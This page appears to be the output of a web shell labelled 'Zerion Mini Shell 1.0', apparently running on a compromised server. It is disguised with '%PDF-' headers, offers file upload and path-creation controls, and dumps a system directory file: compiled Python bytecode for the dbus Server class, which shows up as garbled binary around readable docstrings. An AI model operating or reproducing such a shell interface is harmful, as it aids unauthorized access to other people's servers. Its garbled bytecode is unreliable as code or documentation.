%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/dbus/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/dbus/__pycache__/server.cpython-312.pyc

�

�	z]1��:�dZdZddlmZddlmZGd�de�Zy))�Server�reStructuredText�)�_Server)�
Connectionc���eZdZdZeddf�fd�	Zd�Zd�Zd�Zd�Z	e
ej�Z
e
ej�Ze
ej �Z�xZS)ra%An opaque object representing a server that listens for connections from
    other applications.

    This class is not useful to instantiate directly: you must subclass it and
    either extend the method connection_added, or append to the
    list on_connection_added.

    :Since: 0.83
    Nc�2��tt|�|||||�S)a�Construct a new Server.

        :Parameters:
            `address` : str
                Listen on this address.
            `connection_class` : type
                When new connections come in, instantiate this subclass
                of dbus.connection.Connection to represent them.
                The default is Connection.
            `mainloop` : dbus.mainloop.NativeMainLoop or None
                The main loop with which to associate the new connections.
            `auth_mechanisms` : sequence of str
                Authentication mechanisms to allow. The default is to allow
                any authentication mechanism supported by ``libdbus``.
        )�superr�__new__)�cls�address�connection_class�mainloop�auth_mechanisms�	__class__s     ��-/usr/lib/python3/dist-packages/dbus/server.pyr
zServer.__new__+s%���"�V�S�)�#�w�8H��/�+�	+�c�0�i|_g|_	g|_y�N)�_Server__connections�on_connection_added�on_connection_removed)�self�args�kwargss   r�__init__zServer.__init__?s'�����#%�� �	K�&(��"�	rc�\�|j|j�|j|�yr)�call_on_disconnection�connection_removed�connection_added)r�conns  r�_on_new_connectionzServer._on_new_connectionNs$���"�"�4�#:�#:�;����d�#rc�P�|jr|jD]
}||��yy)a�Respond to the creation of a new Connection.

        This base-class implementation just invokes the callbacks in
        the on_connection_added attribute.

        :Parameters:
            `conn` : dbus.connection.Connection
                A D-Bus connection which has just been added.

                The type of this parameter is whatever was passed
                to the Server constructor as the ``connection_class``.
        N)r�rr �cbs   rrzServer.connection_addedRs.���#�#��.�.�
���4��
�$rc�P�|jr|jD]
}||��yy)a�Respond to the disconnection of a Connection.

        This base-class implementation just invokes the callbacks in
        the on_connection_removed attribute.

        :Parameters:
            `conn` : dbus.connection.Connection
                A D-Bus connection which has just become disconnected.

                The type of this parameter is whatever was passed
                to the Server constructor as the ``connection_class``.
        N)rr#s   rrzServer.connection_removedcs.���%�%��0�0�
���4��
�&r)�__name__�
__module__�__qualname__�__doc__rr
rr!rr�propertyr�get_addressr�get_id�id�get_is_connected�is_connected�
__classcell__)rs@rrr s[����0:��t�+�(�$��"�"�G�/�/�0�G��G�N�N�+�B��G�4�4�5�LrrN)�__all__�
__docformat__�_dbus_bindingsr�dbus.connectionrr�rr�<module>r6s%��4��"�
�"�&�V6�W�V6r

Zerion Mini Shell 1.0